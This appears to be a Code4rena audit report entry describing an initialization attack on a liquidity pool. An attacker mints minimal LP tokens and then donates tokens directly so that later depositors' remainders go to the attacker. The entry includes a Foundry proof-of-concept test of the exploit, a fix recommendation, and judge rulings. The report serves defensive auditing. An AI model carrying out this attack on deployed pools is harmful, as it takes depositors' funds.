Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 103/103
Findings: 1
Award: $6.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
Pool without liquidity could become victim of malicious initialization. It will broke add
function, resulting in a situation where users can only add liquidity in multiples of amount that attacker has provided. Any reminder will be lost (or partially lost, depending on the transaction) to the attacker.
This attack pose no risk for the attacker (beside IL risk), and there is incentive to try and lure people to lose their funds on adding liquidity.
First call to add
can provide minimal amount of tokens, resulting in lpToken total supply equal to 1. Then, if attacker would add liquidity directly with transfer functions, this would result in lpToken totalSupply still be equal to 1, but liqudity it represents to arbitrary high numbers. This would result in contract not be able to properly divide amounts and calculating addQuote
.
function testAddAttack() public { address attacker = address(0xa); deal(address(attacker), 1e18); //fund eth deal(address(p), address(attacker), 1e19 + 1, true); //fund 10 fractionalized NFTs deal(address(usd), address(attacker), 1e21 + 1, true); //fund 1000 usd vm.startPrank(attacker); usd.approve(address(p), type(uint256).max); uint256 lpTokenAmount = p.add(1, 1, 1); //provide minimal amount of both assets, get minimal amount of lpToken //transfer funds directly to pool, this would result in lpToken totalSupply to still equal 1 p.transfer(address(p), 1e19); usd.transfer(address(p), 1e21); vm.stopPrank(); //this would result in broken add function: console.log(p.addQuote(1e21, 1e19)); //user would get 0 lp tokens, attacker would get all value console.log(p.addQuote(1e21 + 1, 1e19+1)); //user would get 1 lp token console.log(p.addQuote(1e21 + 1, 2e19+1)); //user would still get 1 lp token, quarter of sent funds will go to attacker }
Add minimal initial liquidity constraint. As an example, UniswapV2 have minimal liquidity equal to 1e3
#0 - c4-judge
2022-12-28T15:23:59Z
berndartmueller marked the issue as duplicate of #442
#1 - c4-judge
2023-01-10T09:18:29Z
berndartmueller changed the severity to 3 (High Risk)
#2 - c4-judge
2023-01-10T09:18:33Z
berndartmueller marked the issue as satisfactory